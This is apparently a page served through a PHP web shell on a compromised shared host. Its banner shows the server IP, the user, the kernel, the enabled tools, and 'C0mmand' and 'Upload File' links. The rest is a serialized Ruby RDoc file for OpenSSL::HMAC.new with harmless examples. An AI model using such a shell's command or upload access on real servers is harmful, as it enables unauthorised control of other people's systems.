Server IP : 111.118.215.189 / Your IP : 216.73.216.153 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/OpenSSL/HMAC/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
U:RDoc::AnyMethod[iI"new:ETI"OpenSSL::HMAC::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"FReturns an instance of OpenSSL::HMAC set with the key and digest ;TI"Halgorithm to be used. The instance represents the initial state of ;TI"Ithe message authentication code before any data has been processed. ;TI"HTo process data with it, use the instance method #update with your ;TI"data as an argument.;To:RDoc::Markup::BlankLine S:RDoc::Markup::Heading: leveli: textI"Example;T@o:RDoc::Markup::Verbatim; [I"key = 'key' ;TI"*digest = OpenSSL::Digest.new('sha1') ;TI"/instance = OpenSSL::HMAC.new(key, digest) ;TI"2#=> f42bb0eeb018ebbd4597ae7213711ec60760843f ;TI"instance.class ;TI"#=> OpenSSL::HMAC ;T:@format0S;; i;I"A note about comparisons;T@o; ; [I"OTwo instances won't be equal when they're compared, even if they have the ;TI"Psame value. Use #to_s or #hexdigest to return the authentication code that ;TI"*the instance represents. For example:;T@o;; [ I"Lother_instance = OpenSSL::HMAC.new('key', OpenSSL::Digest.new('sha1')) ;TI"2#=> f42bb0eeb018ebbd4597ae7213711ec60760843f ;TI"instance ;TI"2#=> f42bb0eeb018ebbd4597ae7213711ec60760843f ;TI" instance == other_instance ;TI"#=> false ;TI"*instance.to_s == other_instance.to_s ;TI" #=> true;T;0: @fileI"ext/openssl/ossl_hmac.c;T:0@omit_headings_from_table_of_contents_below0I"#HMAC.new(key, digest) -> hmac ;T0[ I" (p1, p2);T@.FI" HMAC;TcRDoc::NormalClass00